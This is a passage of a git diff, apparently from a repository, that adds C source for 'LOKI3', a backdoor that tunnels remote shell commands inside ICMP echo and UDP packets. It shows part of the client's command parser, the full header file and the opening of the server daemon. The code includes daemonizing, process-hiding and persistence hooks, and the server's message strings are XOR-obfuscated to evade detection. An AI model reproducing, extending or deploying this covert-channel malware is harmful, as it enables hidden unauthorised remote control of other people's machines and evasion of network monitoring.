+ cflags |= (NEWTRANS | VALIDC);
+ }
+ /* Request server to redirect output
+ * to another LOKI client
+ */
+ else if (!strncmp((char *)buf, REDIR_C, sizeof(REDIR_C) - 1))
+ cflags |= (REDIRECT | VALIDC);
+ /* Request server to simply proxy
+ * requests to another LOKI server
+ */
+ else if (!strncmp((char *)buf, PROXY_D, sizeof(PROXY_D) - 1))
+ cflags |= (PROXY | VALIDC);
+
+ /* Bad command trap */
+ if (!(cflags & VALIDC)) {
+ fprintf(stderr, "Unrecognized command %s\n",buf);
+ return NOK;
+ }
+
+ return OK;
+}
+
+
+/*
+ * Dumps packets read by client...
+ */
+void packets_read() {
+ fprintf(stderr, "Packets read: %d\n", p_read);
+}
+
+/* EOF */
diff --git a/loki.h b/loki.h
new file mode 100644
index 0000000..00b1053
--- /dev/null
+++ b/loki.h
@@ -0,0 +1,361 @@
+#pragma once
+
+/*
+ * LOKI3
+ *
+ * loki header file
+ *
+ * 1996/7 Guild Corporation Productions [daemon9]
+ */
+
+#include <errno.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <signal.h>
+#include <pwd.h>
+#include <unistd.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <netdb.h>
+#include <sys/socket.h>
+#include <sys/ioctl.h>
+#include <sys/stat.h>
+#include <sys/wait.h>
+#include <fcntl.h>
+#include <time.h>
+#include <grp.h>
+#include <sys/ipc.h>
+#include <sys/sem.h>
+#include <sys/shm.h>
+#include <setjmp.h>
+#include <stdint.h>
+
+#include "cstrobf.h"
+
+#ifdef LINUX
+#include <netinet/ip.h> /* musl doesn't supply linux/icmp.h or linux/ip.h */
+
+#define ICMP_ECHO 8
+#define ICMP_ECHOREPLY 0
+
+/* BSDish nomenclature */
+#define ip iphdr
+#define ip_v version
+#define ip_hl ihl
+#define ip_len tot_len
+#define ip_ttl ttl
+#define ip_p protocol
+#define ip_dst daddr
+#define ip_src saddr
+#endif /* LINUX */
+
+#ifdef BSD4
+#include <netinet/in_systm.h>
+#include <netinet/ip_var.h>
+#include <netinet/ip.h>
+#include <netinet/tcp.h>
+#include <netinet/tcpip.h>
+#include <netinet/ip_icmp.h>
+#include <netinet/icmp_var.h>
+#include <sys/sockio.h>
+#include <sys/termios.h>
+#include <sys/signal.h>
+
+#undef icmp_id
+#undef icmp_seq
+#define ip_dst ip_dst.s_addr
+#define ip_src ip_src.s_addr
+#endif
+
+#ifdef SOLARIS
+#include <netinet/in_systm.h>
+#include <netinet/in.h>
+#include <netinet/ip_var.h>
+#include <netinet/ip.h>
+#include <netinet/tcp.h>
+#include <netinet/tcpip.h>
+#include <netinet/ip_icmp.h>
+#include <netinet/icmp_var.h>
+#include <sys/sockio.h>
+#include <sys/termios.h>
+#include <sys/signal.h>
+#include <strings.h>
+#include <unistd.h>
+
+#undef icmp_id
+#undef icmp_seq
+#define ip_dst ip_dst.s_addr
+#define ip_src ip_src.s_addr
+#endif
+
+#ifdef BROKEN_IP_LEN
+#define FIX_LEN(n) (x) /* FreeBSD needs this */
+#else
+#define FIX_LEN(n) htons(n)
+#endif
+
+
+/*
+ * Net/3 will not pass ICMP_ECHO packets to user processes.
+ */
+
+#ifdef NET3
+#define D_P_TYPE ICMP_ECHO
+#define C_P_TYPE ICMP_ECHOREPLY
+#else
+#define D_P_TYPE ICMP_ECHOREPLY
+#define C_P_TYPE ICMP_ECHO
+#endif
+
+#ifdef WEAK_CRYPTO
+#define CRYPTO_TYPE "XOR"
+#endif
+#ifdef NO_CRYPTO
+#define CRYPTO_TYPE "none"
+#endif
+
+
+/* Start user configurable options */
+
+#define MIN_TIMEOUT 3 /* minimum client-side alarm timeout */
+#define MAX_RETRAN 3 /* maximum client-side timeout/retry amount */
+#define MAX_CLIENT 10 /* maximum server-side client count */
+#define KEY_TIMER 600 /* maximum server-side idle client TTL */
+
+/* End user configurable options */
+
+
+
+#define VERSION "3.0"
+#define BUFSIZE 0x38 /* We build packets with a fixed payload.
+ * Fine for ICMP_ECHO/ECHOREPLY packets as they
+ * often default to a 56 byte payload. However
+ * DNS query/reply packets have no set size and
+ * are generally oddly sized with no padding.
+ */
+
+#define ICMPH_SIZE 8
+#define UDPH_SIZE 8
+#define NL_PORT htons(0x35)
+
+#define PROMPT "loki> "
+#define ENCR 1 /* symbolic for encrypt */
+#define DECR 0 /* symbolic for decrypt */
+#define NOCR 1 /* don't encrypt this packet */
+#define OKCR 0 /* encrypt this packet */
+#define OK 1 /* Positive acknowledgement */
+#define NOK 0 /* Negative acknowledgement */
+#define NNOK -1 /* Really negative acknowledgement */
+#define FIND 1 /* Controls locate_client */
+#define DESTROY 2 /* disposition */
+
+/* LOKI packet type symbolics */
+
+#define L_TAG 0xf001 /* Tags packets as LOKI */
+#define L_PK_REQ 0xa1 /* Public Key request packet */
+#define L_PK_REPLY 0xa2 /* Public Key reply packet */
+#define L_EOK 0xa3 /* Encrypted ok */
+#define L_REQ 0xb1 /* Standard reuqest packet */
+#define L_REPLY 0xb2 /* Standard reply packet */
+#define L_ERR 0xc1 /* Error of some kind */
+#define L_ACK 0xd1 /* Acknowledgement */
+#define L_QUIT 0xd2 /* Receiver should exit */
+#define L_EOT 0xf1 /* End Of Transmission packet */
+
+/* Packet type printing macro */
+
+#ifdef DEBUG
+#define PACKET_TYPE(ldg)\
+\
+if (ldg.payload[0] == 0xa1) fprintf(stderr, "Public Key Request"); \
+else if (ldg.payload[0] == 0xa2) fprintf(stderr, "Public Key Reply"); \
+else if (ldg.payload[0] == 0xa3) fprintf(stderr, "Encrypted OK"); \
+else if (ldg.payload[0] == 0xb1) fprintf(stderr, "Client Request"); \
+else if (ldg.payload[0] == 0xb2) fprintf(stderr, "Server Reply"); \
+else if (ldg.payload[0] == 0xc1) fprintf(stderr, "Error"); \
+else if (ldg.payload[0] == 0xd1) fprintf(stderr, "ACK"); \
+else if (ldg.payload[0] == 0xd2) fprintf(stderr, "QUIT"); \
+else if (ldg.payload[0] == 0xf1) fprintf(stderr, "Server EOT"); \
+else fprintf(stderr, "Unknown"); \
+if (prot == IPPROTO_ICMP) fprintf(stderr, ", ICMP type: %d\n", ldg.ttype.icmph.icmp_type);\
+else fprintf(stderr, "\n");\
+
+#define DUMP_PACKET(ldg, i)\
+\
+for (i = 0; i < BUFSIZE; i++) fprintf(stderr, "0x%x ",ldg.payload[i]); \
+fprintf(stderr, "\n");\
+
+#endif
+
+
+/*
+ * Escaped commands (not interpreted by the shell)
+ */
+
+#define HELP "/help" /* Help me */
+#define TIMER "/timer" /* Change the client side timer */
+#define QUIT_C "/quit" /* Quit the client */
+#define QUIT_ALL "/quit all" /* Kill all clients and server */
+#define STAT_C "/stat" /* Stat the client */
+#define STAT_ALL "/stat all" /* Stat all the clients */
+#define SWAP_T "/swapt" /* Swap protocols */
+#define REDIR_C "/redirect" /* Redirect to another client */
+#define PROXY_D "/proxy" /* Proxy to another server */
+
+/*
+ * Control flag symbolics
+ */
+
+#define TERMINATE 0x01
+#define TRAP 0x02
+#define VALIDC 0x04
+#define VALIDP 0x08
+#define NEWTRANS 0x10
+#define REDIRECT 0x20
+#define PROXY 0x40
+#define SENDKILL 0x80
+
+
+/*
+ * Message Strings
+ * L_ == common to both server and client
+ * S_ == specific to server
+ * C_ == specific to client
+ */
+
+#define L_MSG_BANNER "\nLOKI3 dmfr [(c) 2019-3000 Elective Surgery]\n"
+#define L_MSG_NOPRIV "\n[fatal] invalid user identification value"
+#define L_MSG_SOCKET "[fatal] socket allocation error"
+#define L_MSG_ICMPONLY "\nICMP protocol only with strong cryptography\n"
+#define L_MSG_ATEXIT "[fatal] cannot register with atexit(2)"
+#define L_MSG_DHKEYGEN "generating Diffie-Hellman parameters and keypair"
+#define L_MSG_DHKGFAIL "\n[fatal] Diffie-Hellman key generation failure\n"
+#define L_MSG_SIGALRM "[fatal] cannot catch SIGALRM"
+#define L_MSG_SIGUSR1 "[fatal] cannot catch SIGUSR1"
+#define L_MSG_WIERDERR "\n[SUPER fatal] control should NEVER fall here\n"
+#define S_MSG_PACKED "\nlokid: server is currently at capacity. Try again later\n"
+#define C_MSG_USAGE "\nloki -d dest -p (i|u) [ -v (0|1) ] [ -t (n>3) ]\n"
+#define C_MSG_TIMEOUT "\nloki: no response from server (expired timer)\n"
+#define C_MSG_MUSTQUIT "\nloki: received termination directive from server\n"
+
+/*
+ * Macros to evaluate packets to determine if they are LOKI or not.
+ * These are UGLY.
+ */
+
+
+/*
+ * ICMP_ECHO client packet check
+ */
+#define IS_GOOD_ITYPE_C(ldg)\
+\
+(i_check((uint16_t *)&ldg.ttype.icmph, BUFSIZE + ICMPH_SIZE) == 0 &&\
+ ldg.ttype.icmph.icmp_type == D_P_TYPE &&\
+ ldg.ttype.icmph.icmp_id == loki_id &&\
+ ldg.ttype.icmph.icmp_seq == L_TAG &&\
+ (ldg.payload[0] == L_REPLY ||\
+ ldg.payload[0] == L_PK_REPLY ||\
+ ldg.payload[0] == L_EOT ||\
+ ldg.payload[0] == L_QUIT ||\
+ ldg.payload[0] == L_ERR)) ==\
+ (1) ? (1) : (0)\
+/*
+ * ICMP_ECHO daemon packet check
+ */
+#define IS_GOOD_ITYPE_D(ldg)\
+\
+(i_check((uint16_t *)&ldg.ttype.icmph, BUFSIZE + ICMPH_SIZE) == 0 &&\
+ ldg.ttype.icmph.icmp_type == C_P_TYPE &&\
+ ldg.ttype.icmph.icmp_seq == L_TAG &&\
+ (ldg.payload[0] == L_REQ ||\
+ ldg.payload[0] == L_QUIT ||\
+ ldg.payload[0] == L_PK_REQ)) ==\
+ (1) ? (1) : (0)\
+/*
+ * UDP client packet check
+ */
+#define IS_GOOD_UTYPE_C(ldg)\
+\
+(i_check((uint16_t *)&ldg.ttype.udph, BUFSIZE + UDPH_SIZE) == 0 &&\
+ ldg.ttype.udph.uh_sport == NL_PORT &&\
+ ldg.ttype.udph.uh_dport == loki_id &&\
+ (ldg.payload[0] == L_REPLY ||\
+ ldg.payload[0] == L_EOT ||\
+ ldg.payload[0] == L_QUIT ||\
+ ldg.payload[0] == L_ERR)) ==\
+ (1) ? (1) : (0)\
+/*
+ * UDP daemon packet check. Yikes. We need more info here.
+ */
+#define IS_GOOD_UTYPE_D(ldg)\
+\
+(i_check((uint16_t *)&ldg.ttype.udph, BUFSIZE + UDPH_SIZE) == 0 &&\
+ ldg.ttype.udph.uh_dport == NL_PORT &&\
+ (ldg.payload[0] == L_QUIT ||\
+ ldg.payload[0] == L_REQ)) ==\
+ (1) ? (1) : (0)\
+/*
+ * ICMP_ECHO / ICMP_ECHOREPLY header prototype
+ */
+struct icmp_echo {
+ uint8_t icmp_type; /* 1 byte type */
+ uint8_t icmp_code; /* 1 byte code */
+ uint16_t icmp_cksum; /* 2 byte checksum */
+ uint16_t icmp_id; /* 2 byte identification */
+ uint16_t icmp_seq; /* 2 byte sequence number */
+};
+
+
+/*
+ * UDP header prototype
+ */
+struct udp {
+ uint16_t uh_sport; /* 2 byte source port */
+ uint16_t uh_dport; /* 2 byte destination port */
+ uint16_t uh_ulen; /* 2 byte length */
+ uint16_t uh_sum; /* 2 byte checksum */
+};
+
+
+/*
+ * LOKI packet prototype
+ */
+struct loki {
+ struct ip iph; /* IP header */
+ union {
+ struct icmp_echo icmph; /* ICMP header */
+ struct udp udph; /* UDP header */
+ }ttype;
+ uint8_t payload[BUFSIZE]; /* data payload */
+};
+
+#define LOKIP_SIZE sizeof(struct loki)
+#define LP_DST rdg.iph.ip_src
+
+void blur(int, int, uint8_t *); /* Symmetric encryption function */
+char *host_lookup(uint32_t); /* network byte -> human readable */
+uint32_t name_resolve(char *); /* human readable -> network byte */
+uint16_t i_check(uint16_t *, int); /* Ah yes, the IP family checksum */
+int c_parse(uint8_t *, int *); /* parse escaped commands [client] */
+void d_parse(uint8_t *, pid_t, int); /* parse escaped commands [server] */
+ /* build and transmit LOKI packets */
+void loki_xmit(uint8_t *, uint16_t, int, struct sockaddr_in, int);
+int lokid_xmit(uint8_t *, uint32_t, int, int);
+void err_exit(int, int, int, char *); /* handle exit with reason */
+void clean_exit(int); /* exit cleanly */
+void help(); /* lala */
+void shadow(); /* daemonizing routine */
+void swap_t(int); /* swap protocols [server-side] */
+void reaper(int); /* prevent zombies */
+void catch_timeout(int); /* ALARM signal catcher */
+void client_expiry_check(); /* expire client from shm */
+void prep_shm(); /* Prepare shm ans semaphore */
+void dump_shm(); /* detach shm */
+void packets_read(); /* packets read (client) */
+void fd_status(int, int); /* dumps fd stats */
+#ifdef PERSISTENCE
+void handle_sigterm(int); /* SIGTERM handler */
+void unlink_persistence(); /* remove SysV service persistence */
+#endif /* PERSISTENCE */
+/* EOF */
diff --git a/lokid.c b/lokid.c
new file mode 100644
index 0000000..46c0794
--- /dev/null
+++ b/lokid.c
@@ -0,0 +1,581 @@
+/*
+ * LOKI3
+ *
+ * [ lokid.c ]
+ *
+ * 1996/7 Guild Corporation Worldwide [daemon9]
+ */
+
+#include "loki.h"
+#include "client_db.h"
+#include "shm.h"
+#include "prochide.h"
+#include "persistence.h"
+
+
+#define WORKING_ROOT "/tmp" /* TODO: think about changing this */
+
+
+jmp_buf env; /* holds our stack frame */
+struct loki sdg, rdg; /* LOKI packets */
+time_t uptime = 0; /* server uptime */
+uint32_t b_sent = 0, p_sent = 0; /* bytes / packets written */
+uint16_t c_id = 0; /* client id */
+int destroy_shm = NOK; /* Used to mark whether or not a process should
+ * destroy the shm segment upon exiting. */
+int verbose = OK, prot = IPPROTO_ICMP, ripsock = 0, tsock = 0;
+
+
+/*
+ * Obfuscated strings
+ */
+estring S_MSG_BANNER = { "\xda\x30\x80\x6c\x99\xbc\xe5\x8d\xbd\x1a\xbd\x07\x8b\xa7\x8f\xc0\xf0\x4e\xff\x16\xe9\xa2\xdf\xd9\xe0\x4c\xef\x62\xbc\xea\x8f\x9d\xb9\x0a\xaa\x07\x83\xfa\x9e\x8e\xb5\x0e\xb6\x7a\xda", 45, "\xd0\x7c\xcf\x27\xd0\x8f\xec\xe9", 8 }; // \nLOKI3\tdmfr [(c) 2019-3000 Elective Surgery]\n
+estring S_MSG_CLIENT_PROTO_SWAP = { "\x3d\x41\x12\xee\x47\xc4\x0b\x00\x54\x41\x14\xe0\x40\xd4\x11\x1c\x12\x49\x43\xa5\x5c\xc5\x40\x55\x52\x5e\x09\xe0\x4a\x80\x50\x00\x47\x5f\x12\xf1\x41\xc3\x5e\x4c\x17\x5e\x0a\xe4\x5e\xaa", 46, "\x37\x2d\x7d\x85\x2e\xa0\x31\x20", 8 }; // \nlokid: client <%d> requested a protocol swap\n
+estring S_MSG_SEND_PROTO_UPDATE = { "\xb0\xb8\xcf\x06\xc5\x5c\xc3\x1c\x99\xbb\xd8\x07\xd5\x5a\xce\x14\xd5\xeb\xdf\x18\xc5\x54\xd9\x1e\x83\xeb\x96\x4d\xc5\x0b\x8d\x5e\xca\xeb\xf1\x4d\xc5\x68\xa7", 39, "\xb9\xcb\xaa\x68\xa1\x35\xad\x7b", 8 }; // \tsending protocol update: <%d> %s [%d]\n
+estring S_MSG_PROTOCOL_CHANGED = { "\xdf\xa6\xa4\xda\x50\x91\x08\x98\xc1\xa8\xa1\xc0\x44\xc4\x5a\x98\x93\xb9\xbd\xdc\x40\xc4\x4b\x83\xdf\xe9\xac\xdb\x55\xc5\x4f\x89\xd7\xe9\xbb\xdc\x14\x8e\x5b\xe6", 40, "\xb3\xc9\xcf\xb3\x34\xab\x28\xec", 8 }; // lokid: transport protocol changed to %s\n
+estring S_MSG_UNSUP = { "\xed\xdd\xcd\xdd\x8f\xfa\x1a\xd4\x92\xdf\xd1\xc3\x96\xee\x4f\x86\x93\xd4\xc6\x96\x89\xec\x00\x81\x89\xda\xcc\xd9\x91\xf0\x00\x97\x88\xdc\xcf\xd7\x88\xfa\x00\x87\x93\xc3\xcb\xd8\x81\x94", 46, "\xe7\xb1\xa2\xb6\xe6\x9e\x20\xf4", 8 }; // \nlokid: unsupported or unknown command string\n
+estring S_MSG_USAGE = { "\x71\x70\xfc\xfb\xfd\x33\x14\x33\x0b\x3c\xbb\xf9\xe8\x22\x1d\x3e\x20\x3c\xbe\xe6\xb4\x7f\x04\x62\x4a\x35\xb3\xcd\x9e", 29, "\x7b\x1c\x93\x90\x94\x57\x34\x1e", 8 }; // \nlokid -p (i|u) [ -v (0|1) ]\n
+estring S_MSG_CANNOT_ADD_KEY = { "\x51\x5c\xb3\x15\xfd\x1a\xfd\x09\x18\x51\xb2\x10\xfb\x0a\xe7\x48\x3f\x54\xfc\x15\xf1\x07\xcd", 23, "\x5b\x30\xdc\x7e\x94\x7e\xc7\x29", 8 }; // \nlokid: Cannot add key\n
+estring S_MSG_CANNOT_DAEMONIZE = { "\x23\xa8\xb5\x5c\x5e\x34\x7d\x70\x3b\xaf\xba\x46\x50\x2c\x00\x37\x17\xee\xb0\x49\x5a\x35\x4f\x3e", 24, "\x78\xce\xd4\x28\x3f\x58\x20\x50", 8 }; // [fatal] Cannot go daemon
+estring S_MSG_CANNOT_CREATE_SESSION = { "\x00\xc6\xc8\x13\x36\x16\x5b\x6e\x18\xc1\xc7\x09\x38\x0e\x26\x2d\x29\xc5\xc8\x13\x32\x5a\x75\x2b\x28\xd3\xc0\x08\x39", 29, "\x5b\xa0\xa9\x67\x57\x7a\x06\x4e", 8 }; // [fatal] Cannot create session
+estring S_MSG_CANNOT_DETACH_TERMINAL = { "\xb1\x4f\x79\xe6\xf6\xc4\x86\xdd\x89\x48\x76\xfc\xf8\xdc\xfb\x99\x8f\x5d\x79\xf1\xff\x88\xbd\x8f\x85\x44\x38\xf1\xf8\xc6\xaf\x8f\x85\x45\x74\xfb\xf9\xcf\xfb\x89\x8f\x5b\x75\xfb\xf9\xc9\xb7", 47, "\xea\x29\x18\x92\x97\xa8\xdb\xfd", 8 }; // [fatal] cannot detach from controlling terminal
+estring S_MSG_CANNOT_CHDIR = { "\x67\x81\x67\x62\x00\xa8\x91\x37\x5f\x86\x68\x78\x0e\xb0\xec\x74\x54\x83\x6f\x64\x41\xb0\xa3\x37\x6b\xa8\x54\x5d\x28\x8a\x8b\x48\x6e\xa8\x49\x42", 36, "\x3c\xe7\x06\x16\x61\xc4\xcc\x17", 8 }; // [fatal] cannot chdir to WORKING_ROOT
+estring S_MSG_CANNOT_SIGNAL_PARENT = { "\x2f\x17\x9f\xa9\x85\x4f\xc9\xba\x17\x1e\x8b\xb1\x80\x03\xfa\xf5\x00\x51\x8d\xb4\x83\x4d\xf5\xf6\x54\x01\x9f\xaf\x81\x4d\xe0", 31, "\x74\x71\xfe\xdd\xe4\x23\x94\x9a", 8 }; // [fatal] could not signal parent
+estring S_MSG_NOPRIV = { "\x0f\x71\x84\x61\x50\xc4\x61\xae\x25\x43\x8c\x76\x45\xc9\x64\x97\x25\x5f\x91\x65\x56\x85\x64\x97\x60\x44\x96\x69\x42\xcc\x6e\x92\x71\x43\x8d\x6e\x04\xd3\x6c\x9f\x70\x4f", 42, "\x05\x2a\xe2\x00\x24\xa5\x0d\xf3", 8 }; // \n[fatal] invalid user identification value
+estring S_MSG_UNKNOWN_TRANSPORT = { "\x69\xde\x30\x07\x32\xe1\x75\xe0\x67\xd6\x3a\x1d\x3c\xfa\x46\xe0\x46\xca\x30\x1d\x20\xfd\x47\xb2\x46\xb2", 26, "\x32\xb8\x51\x73\x53\x8d\x28\xc0", 8 }; // [fatal] Unknown transport\n
+estring S_MSG_SOCKET = { "\xb8\x79\x5c\x92\x4f\xa7\x59\x98\x90\x70\x5e\x8d\x4b\xbf\x24\xd9\x8f\x73\x52\x85\x4f\xbf\x6d\xd7\x8d\x3f\x58\x94\x5c\xa4\x76", 31, "\xe3\x1f\x3d\xe6\x2e\xcb\x04\xb8", 8 }; // [fatal] socket allocation error
+estring S_MSG_IP_HDRINCL = { "\xf0\x67\xc9\x6a\xef\x9d\x60\xd8\xd6\x72\x87\x4d\xd0\xb6\x08\xef\xe1\x4f\xe9\x47\xcc\xc9\x33\xc4\xd0\x6d\xc2\x70\xa0\x86\x30\xdf\xda\x69\xc9", 35, "\xb3\x06\xa7\x04\x80\xe9\x40\xab", 8 }; // Cannot set IP_HDRINCL socket option
+estring S_MSG_ATEXIT = { "\xaf\x8e\x3b\x4d\xe8\xf6\x34\x78\x97\x89\x34\x57\xe6\xee\x49\x2a\x91\x8f\x33\x4a\xfd\xff\x1b\x78\x83\x81\x2e\x51\xa9\xfb\x1d\x3d\x8c\x81\x2e\x11\xbb\xb3", 38, "\xf4\xe8\x5a\x39\x89\x9a\x69\x58", 8 }; // [fatal] cannot register with atexit(2)
+estring S_MSG_SIGUSR1 = { "\xcc\x88\xde\x60\x93\xc5\xec\x2a\xf4\x8f\xd1\x7a\x9d\xdd\x91\x69\xf6\x9a\xdc\x7c\xd2\xfa\xf8\x4d\xc2\xbd\xed\x25", 28, "\x97\xee\xbf\x14\xf2\xa9\xb1\x0a", 8 }; // [fatal] cannot catch SIGUSR1
+estring S_MSG_SIGTERM = { "\xe9\x07\x13\xc1\x95\xb5\x56\x17\xd1\x00\x1c\xdb\x9b\xad\x2b\x54\xd3\x15\x11\xdd\xd4\x8a\x42\x70\xe6\x24\x20\xf8", 28, "\xb2\x61\x72\xb5\xf4\xd9\x0b\x37", 8 }; // [fatal] cannot catch SIGTERM
+estring S_MSG_SIGALRM = { "\x62\x88\x0a\xcc\x0e\xc2\x6b\xc6\x5a\x8f\x05\xd6\x00\xda\x16\x85\x58\x9a\x08\xd0\x4f\xfd\x7f\xa1\x78\xa2\x39\xf5", 28, "\x39\xee\x6b\xb8\x6f\xae\x36\xe6", 8 }; // [fatal] cannot catch SIGALRM
+estring S_MSG_SIGCHLD = { "\x21\x2d\xd9\x64\x57\x0d\x48\xc8\x19\x2a\xd6\x7e\x59\x15\x35\x8b\x1b\x3f\xdb\x78\x16\x32\x5c\xaf\x39\x03\xf4\x54", 28, "\x7a\x4b\xb8\x10\x36\x61\x15\xe8", 8 }; // [fatal] cannot catch SIGCHLD
+estring S_MSG_WIERDERR = { "\x54\x37\x14\x8a\x9b\x0f\xdc\x9d\x38\x0d\x33\xbe\xa7\x17\xae\xde\x31\x02\x33\xad\xa4\x26\xae\xce\x36\x03\x32\xb3\xaf\x6a\xc0\xf8\x08\x29\x15\xff\xad\x2b\xe2\xd1\x7e\x04\x22\xad\xae\x40", 46, "\x5e\x6c\x47\xdf\xcb\x4a\x8e\xbd", 8 }; // \n[SUPER fatal] control should NEVER fall here\n
+estring S_MSG_FORK_ERROR = { "\xf2\xf4\x22\x03\x2b\xa8\x3b\xe8\xcf\xfd\x31\x1c\x23\xaa\x01\xe8\xcc\xe0\x31\x18\x38", 21, "\xa9\x92\x43\x77\x4a\xc4\x66\xc8", 8 }; // [fatal] forking error
+estring S_MSG_CLIENT_FREED = { "\xa6\x86\xd6\xf2\xcc\x64\x04\xda\xcf\x86\xd0\xfc\xcb\x74\x1e\xc6\x89\x8e\x87\xb9\xc3\x72\x5b\x9f\xc8\xca\xdf\xeb\xca\x6d\x1e\x96\xc5\x99\xcd\xb9\xfe\x25\x5a\xa7", 40, "\xac\xea\xb9\x99\xa5\x00\x3e\xfa", 8 }; // \nlokid: client <%d> freed from list [%d]
+estring S_MSG_CLIENT_ALL_KILL = { "\x17\xe9\x11\x4d\x06\xf1\x0a\x08\x7e\xe9\x17\x43\x01\xe1\x10\x14\x38\xe1\x40\x06\x1d\xf0\x41\x5d\x78\xf6\x0a\x43\x0b\xb5\x51\x46\x3d\xe4\x12\x4a\x4f\xfe\x59\x44\x71\x8f", 42, "\x1d\x85\x7e\x26\x6f\x95\x30\x28", 8 }; // \nlokid: client <%d> requested an all kill
+estring S_MSG_POPEN = { "\x12\xcc\xef\xf4\x0b\x16\xc7\xff\x68\xcf\xf0\xfa\x0c", 13, "\x18\xa0\x80\x9f\x62\x72\xfd\xdf", 8 }; // \nlokid: popen
+estring S_MSG_TRUNCATED_WRITE = { "\x9c\x5c\xa4\x53\x57\x5c\x64\xd2\xa6\x5e\x96\x1d\x03\x48\x70\xc8\xa4\x53\xbf\x58\x13\x1a\x72\xd4\xae\x46\xae", 27, "\xc7\x32\xcb\x3d\x77\x3a\x05\xa6", 8 }; // [non fatal] truncated write
+estring S_MSG_SENDING_L_QUIT = { "\x61\x3c\x16\x2c\x93\x83\x06\xd1\x48\x03\x2c\x13\xa2\xa3\x3c\x8c\x48\x73\x56\x26\xc9\xca\x4d\xc5\x62", 25, "\x68\x4f\x73\x42\xf7\xea\x68\xb6", 8 }; // \tsending L_QUIT: <%d> %s\n
+estring S_MSG_CANNOT_SIGNAL_PROCESS_GROUP = { "\x91\xab\x95\x71\xef\x4e\x70\x9f\xa9\xa2\x81\x69\xea\x02\x43\xd0\xbe\xed\x87\x6c\xe9\x4c\x4c\xd3\xea\xbd\x86\x6a\xed\x47\x5e\xcc\xea\xaa\x86\x6a\xfb\x52", 38, "\xca\xcd\xf4\x05\x8e\x22\x2d\xbf", 8 }; // [fatal] could not signal process group
+estring S_MSG_UNKNOWN = { "\xcf\xfd\xe5\x15\x72\x32\x7c\x54\xa6\xf0\xe4\x10\x74\x22\x66\x18\xaa\xf2\xeb\x0a\x7e\x76\x25\x18\xac\xf4\xe4\x0a\x3b\x33\x28\x00\xb7\xe8\xaa\x17\x75\x76\x22\x15\xb1\xf0\xe8\x1f\x68\x33\x4c", 47, "\xc5\x91\x8a\x7e\x1b\x56\x46\x74", 8 }; // \nlokid: cannot locate client entry in database\n
+estring S_MSG_CLIENTK = { "\x23\x2a\xd6\x8a\x68\xd1\x18\x42\x4a\x2a\xdc\x80\x6f\x95\x47\x1a\x40\x32\x99\xc9\x6a\xdc\x4e\x0e\x4c\x22\x99\x80\x75\x95\x41\x0e\x40\x23\xd7\x95\x21\xc7\x47\x13\x5c\x23\xca\x95\x28\xbf", 46, "\x29\x46\xb9\xe1\x01\xb5\x22\x62", 8 }; // \nlokid: clean exit (killed at client request)\n
+estring S_MSG_EXPIRED_CLIENT = { "\x29\xc2\xae\x90\x65\xbc\x3b\x99\x4a\xc0\xa0\x98\x78\xb1\x77\xdc\x03\xcd\xad\x92\x69\xb6\x75\x99\x1f\x8b\xa5\xc5\x2c\xbd\x79\xc9\x4a\xdc\xa4\x9f\x2c\xbe\x73\xd6\x4e\x8e\xad\x92\x7f\xac\x21\xe2\x06\xca\x9c\xf1", 52, "\x23\xae\xc1\xfb\x0c\xd8\x01\xb9", 8 }; // \nlokid: inactive client <%d> expired from list [%d]\n
+estring S_MSG_CLIENT_DB_FULL = { "\x2f\x93\x63\xe9\x09\x52\x07\xbb\x66\x93\x65\xe7\x0e\x42\x1d\xff\x44\x8b\x6d\xe0\x01\x45\x58\xbb\x43\x8a\x60\xee", 28, "\x25\xff\x0c\x82\x60\x36\x3d\x9b", 8 }; // \nlokid: Client database full
+estring S_MSG_SHM_DETACH_ERROR = { "\x00\xf6\xf0\xe1\xc1\xdb\x72\xac\x28\xf8\xf0\xe7\xc5\xd3\x0f\xe1\x3e\xfd\xb1\xe6\xc5\xd0\x42\xe9\x35\xe4\xb1\xf1\xc5\xc3\x4e\xef\x33\xb0\xf4\xe7\xd2\xd8\x5d", 39, "\x5b\x90\x91\x95\xa0\xb7\x2f\x8c", 8 }; // [fatal] shared mem segment detach error
+estring S_MSG_CANNOT_DESTROY_SHMID = { "\xbc\xd0\x68\x87\x6b\x0c\xcb\x50\x84\xd7\x67\x9d\x65\x14\xb6\x14\x82\xc5\x7d\x81\x65\x19\xb6\x03\x8f\xdb\x60\x97", 28, "\xe7\xb6\x09\xf3\x0a\x60\x96\x70", 8 }; // [fatal] cannot destroy shmid
+estring S_MSG_CANNOT_DESTROY_SEMAPHORE = { "\x63\x1f\x98\x01\x34\x56\x23\x02\x5b\x18\x97\x1b\x3a\x4e\x5e\x46\x5d\x0a\x8d\x07\x3a\x43\x5e\x51\x5d\x14\x98\x05\x3d\x55\x0c\x47", 32, "\x38\x79\xf9\x75\x55\x3a\x7e\x22", 8 }; // [fatal] cannot destroy semaphore
+
+/* 'stat' command output strings */
+estring S_STAT_UPTIME = { "\x5b\x6a\x30\xa8\xc3\x14\xc5\x0f\x58\x7b\x2b\xb3\xc3\x5c\xec\x73\x0d\x21\x72\xec\xc0\x46\x88\x13\x46\x7a\x36\xbb\xd5\x6c", 30, "\x28\x0f\x42\xde\xa6\x66\xe5\x7a", 8 }; // server uptime:\t\t%.02f minutes\n
+estring S_STAT_VERSION = { "\xcf\x51\x04\x13\x2e\xcc\x51\xed\xa0\x4f\x18\x11\x28\xc6\x4b\x92\xcc\x18\x18\x72", 20, "\xc5\x3d\x6b\x78\x47\xa8\x71\x9b", 8 }; // \nlokid version:\t\t%s\n
+estring S_STAT_INTERFACE = { "\x29\x4b\x03\x49\x58\x12\x99\x57\x35\x5a\x0b\x54\x4a\x16\xda\x5b\x61\x27\x4b\x55\x26", 21, "\x5b\x2e\x6e\x26\x2c\x77\xb9\x3e", 8 }; // remote interface:\t%s\n
+estring S_STAT_TRANSPORT = { "\xcd\x5a\x26\x45\x7b\xb9\x8f\xdb\xde\x58\x3c\x5f\x7d\xb3\xdd\xdb\x96\x30\x77\x5f\x07", 21, "\xac\x39\x52\x2c\x0d\xdc\xaf\xaf", 8 }; // active transport:\t%s\n
+estring S_STAT_CRYPTO = { "\x26\x72\xfb\xc7\xbe\xad\xe9\x0d\x35\x68\xff\xda\xa7\xaf\xbb\x0f\x37\x79\xf6\x94\xc1\xed\xba\x64", 24, "\x47\x11\x8f\xae\xc8\xc8\xc9\x6e", 8 }; // active cryptography:\t%s\n
